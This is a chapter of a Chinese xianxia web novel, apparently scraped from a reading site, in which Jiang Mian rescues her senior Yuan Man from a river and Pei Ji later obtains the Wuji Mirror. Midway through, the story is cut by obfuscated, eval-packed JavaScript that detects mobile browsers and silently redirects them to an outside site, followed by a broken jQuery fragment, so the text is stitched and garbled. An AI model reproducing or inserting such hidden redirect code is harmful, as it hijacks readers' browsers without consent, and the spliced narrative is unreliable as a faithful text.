刺目的晨光洒进屋中,微尘悬浮,光影斑驳。
床榻间,元满惊喘一声,终于从梦魇中挣脱出来。
耳边忽然传来熟悉的声音:
“师姐,你终于醒了!”
元满转过头,朦胧的视线逐渐变得清晰,她努力看清了对方的样貌。
是小师妹姜娩。
女孩立刻扑到床上抱着元满哇哇大哭。
她昨天晚上在床边守了一夜,谁劝也不愿意回去,此刻见人醒来,睁着已然熬得通红的眼睛,才终于后怕地流出眼泪来。
一切都是她的错。
昨天下午,是她非要缠着元满下河抓鱼,在这之前,裴寂明明已经警告过她说,元满这人天不怕地不怕,却唯独怕水怕蛇,所以千万不要带她下水。
可是姜娩却浑不在意,甚至在当时还觉得十分奇怪,大家都是修者,掉进水里掐个避水诀就好了嘛,这有什么可怕的?
她这样想着,所以就把裴寂的话当做耳旁风,左耳朵进右耳朵出,直至完全忘记了这回事。
下水前,元满没有表现出任何的异样,她挽起裙衫裤脚,朝姜娩和岸边抱膝的宿酒露出一个粲然的笑:“今天我就要让这条河知道,谁才是它的主人!”
姜娩率先雀跃地跳进河里:“别废话了,快来啊师姐,我可不会让着你!”
她就这样看着元满迈进了湍急的河水中,看她抓住了第一条鲤鱼,第二条鲤鱼,而后,猝然滑入河中。
姜娩看着面前陡然消失的身影,瞬间吓蒙了,等到反应过来,她只能听见自己崩溃地朝坐在岸边摆弄指甲的宿酒大喊:“宿酒!你快来啊,你快救救师姐!”
宿酒的御水诀用得很熟练,在半个月前的小试炼中,她还掀动水波,跳了一支惊鸿舞,河中的水就如同她养的傀儡,对她亲密乖巧,毫无伤害性。
可是宿酒却摇摇头拒绝:“我不要,难道她没有学御水诀吗?河里全是肮脏的淤泥,玷污了我的鞋子。”
“而且,”她撇撇嘴:“陆河很浅啊。”
河水却忽然变得更加湍急,姜娩游啊游,找啊找,宿酒的话就像锤子一般,敲碎她最后的希望,她似乎在那一刻突然丧失了意识,脑子懵懵的。
她有一瞬间回忆不起来,陆河原本是很浅的吗?为什么它现在这样深这样急,完全看不到底?
元满的身影几乎彻底消失,姜娩一个猛子扎进水里,仅凭着肌肉记忆向前游去,快一点,再快一点,她机械地挥动着手臂,一面回想着课堂上孙老师讲授的御水诀。
该怎么用?该念什么咒语?该结出什么样子的法印?
她的脑海本来一片空白,就好像一辆生锈的铁车,动一下都要拼尽全身的力气,可是当她看见沉入河底的元满,看见少女粉白的衣裙在水中浮动,宛若一株青青挺立的荷花,却突然福至心灵,在瞬间抓住了施法的关窍。
她快速默念着咒语,额间法印金光一闪而逝,随即抬起结印的双手,红唇微动:“束!”
万顷河水冲天而起,在姜娩面前铺出一条漫长的水路,岸边看热闹的宿酒眼睛眯起来,脸上浮现出一丝疑惑。
姜娩顿时松了一口气,连滚带爬痛哭流涕扑过去,捞起了被托浮起来的元满。
而封谨和裴寂也闻讯赶来,甫一上岸,封谨就劈手将人抱过来,少年冷冰冰的视线挪过来,厌恶地看了她一眼,薄唇轻启:“滚远点。”
旋即掐诀瞬移到医师坐镇的青庐。
姜娩被骂得一愣,过了一会,惊惧和后悔才一齐涌上心头,她忍不住哇哇大哭起来。
裴寂没有跟过去,她看见裴寂,这才终于想起来从前他对自己的嘱咐,她恨自己的不在意和疏忽,恨自己差点害死全天下最好的师姐。
裴寂叹了口气,给她擦了擦眼泪。
“别哭了,好吵。”
姜娩不理他,继续捂着脸哭。
“阿娩,别哭了,河里的鬼都要被你哭醒了。”
姜娩悚然一惊,见鬼一样看着裴寂,连哭都忘记了。
裴寂给她递过去一方手帕,继续慢慢地用白净纤长的指头勾着阵线:“你不知道这回事,所以不完全是你的错,这两天宗主引了覆江过来镇压为祸的妖鬼,陆河被打通,才会变得这样深。”
姜娩抬起脸:“啊?”
裴寂终于勾完所有的阵线,霎时间青绿灵光冲天而起,沿着整条陆河飞速前进,铺开一层虚虚蒙蒙的阻隔罩。
“我暂且先将它封住,你这几日不要再下河抓鱼了。”
姜娩听到这又呜呜呜哭起来:“对不起对不起对不起,我对不起你们。”
裴寂干完正事扭过头,却看她像只落汤鸡一般局促地站在那里,并没有使用仙法烘干衣服,不禁愣了一下,他双指并拢轻轻一挥,姜娩瞬间恢复原样。
“你没有对不起我,”裴寂轻声道:“阿满落水,你也很难过,除了阿满,没人可以责怪你。”
他看向青庐的方向:“包括封谨。”
姜娩守了一夜,终于等到元满醒来。
在那个漫长的夜里,裴寂也在,他没有靠近床榻,而是一个人坐在窗外发呆,窗外月明星稀,他就这样看了一夜,不知道是在想着什么,天一亮,就即刻离开了。
元满怔怔地看着姜娩,忽然眨落一滴泪。
她已经很久很久,没有梦见过身边的人了。
在帝庙的那些年岁,她深陷在无尽的黑暗中,看不见任何人的脸,被裴寂救回来后,她也总是避免梦见过去的人和事。
因为阿娘曾对她说,常常梦见身边的人很并不吉利,只有死人才会入梦来。
所以哪怕她再怎么想念,也不想思念的人到梦里同她相见。
姜娩还在抱着她呜呜哭泣,她缓慢地回忆起这是什么时候,抬手一点点反抱住她,安慰道:“没关系。”
“我不怪你。”
姜娩哭得更狠,语不成调:“你为什么不怪我?你快骂我啊…”
元满捧住她的脸,曲起食指抹去女孩不断滚落的眼泪:“因为你还记得我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227364|181733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死亡不是生命的终点,遗忘才是,只要还有人记得元满,那她就会永远活着。
她曾被父母遗忘,被爱人遗忘,被世人遗忘,可是只要还有一个人牵挂着她,那她就必然会获得从头再来的勇气和机会。
我不怪你,我该谢谢阿娩。
元满的眼疾再次复发。
听到姜娩的消息后她气得昏过去,再睁开眼,入目又是熟悉的黑暗。
她叹口气,发觉自己早已习惯。
妖鬼长厌的线索已然断掉,唯有去玉渡山才能打听到更多的消息,元满原先不想回去,此刻全然改变了注意,恨不得即刻飞回去。
可是裴寂却同她相反,原先一心往玉渡山走的人,现在却非要在新歌城再呆两天。
元满能猜出来为什么。
因为那面无极镜。
十数年前,绝情谷的药王用尽毕生所学炼就神药“当归”,这枚丹药融进天材地宝和磅礴灵力,是颗能医万疾的神药,后来药王血尽而亡,这颗神药也随之下落不明。
裴寂想用无极镜赌一把,如果那颗神药还存在在这世间,那他就能通过无极镜穿越回去将它带回来。
当归可医万疾,这样元满的眼睛也就有救。
可是宿酒怎么会把无极镜给他们呢?她连从前床榻间的爱人都能毫不犹豫痛下杀手,昔年的少年情谊又算得了什么重要的筹码?
裴寂却说,相信我。
他总能有办法。
元满忍不住想起从前,在她还是整座玉渡山的荣耀时,她也曾对许多人说过这样的话。
相信我,我总有办法。
次日,裴寂果然带回了无极镜,同他一起前来的,还有那天为宿酒善后的无极宗女侍,名唤奉楚。
奉楚传达了宿酒的意思:这面镜子唯有无极宗嫡脉子弟才能使用,她已经结下死契,现在无极镜完全听命于她,她传了言灵过去,允许裴寂使用一次,使用过后还请把无极镜完璧归赵。
另外,答应过她的事可千万不能反悔呦。
元满眼皮一跳,她摸索着抓住裴寂的指尖,询问道:“你答应了她什么?”
裴寂不说话,他的指尖原先僵冷如冰,在元满摸过来的时候,却又顷刻轰出热气。
元满死死拽住他,再次逼问:“你答应了什么?你不要替我做决定裴寂,你以为你是在为我好吗?你以为把自己当代价去赌一个可能性是很明智的决定吗?”
裴寂依旧不说话,元满火气蹭得上来了,她一把拽住青年的衣领:“你说话啊!”
下一刻,青年覆上了她颤抖的双手,他按着元满的后脑将人往自己这里压过来,直至二人额头紧贴,呼吸可闻。
“阿满,”他声音有些哑:“闭上眼睛。”
青绿灵光自二人紧贴的额间乍然亮起,阵中的无极镜瞬间震颤起来,一道剧烈的强光四射开来,几乎照亮整间屋子。
等到亮光彻底消失,屋中已然没了人影。
唯有一片自窗外飘来的槐叶,晃晃悠悠,落在烛灯下。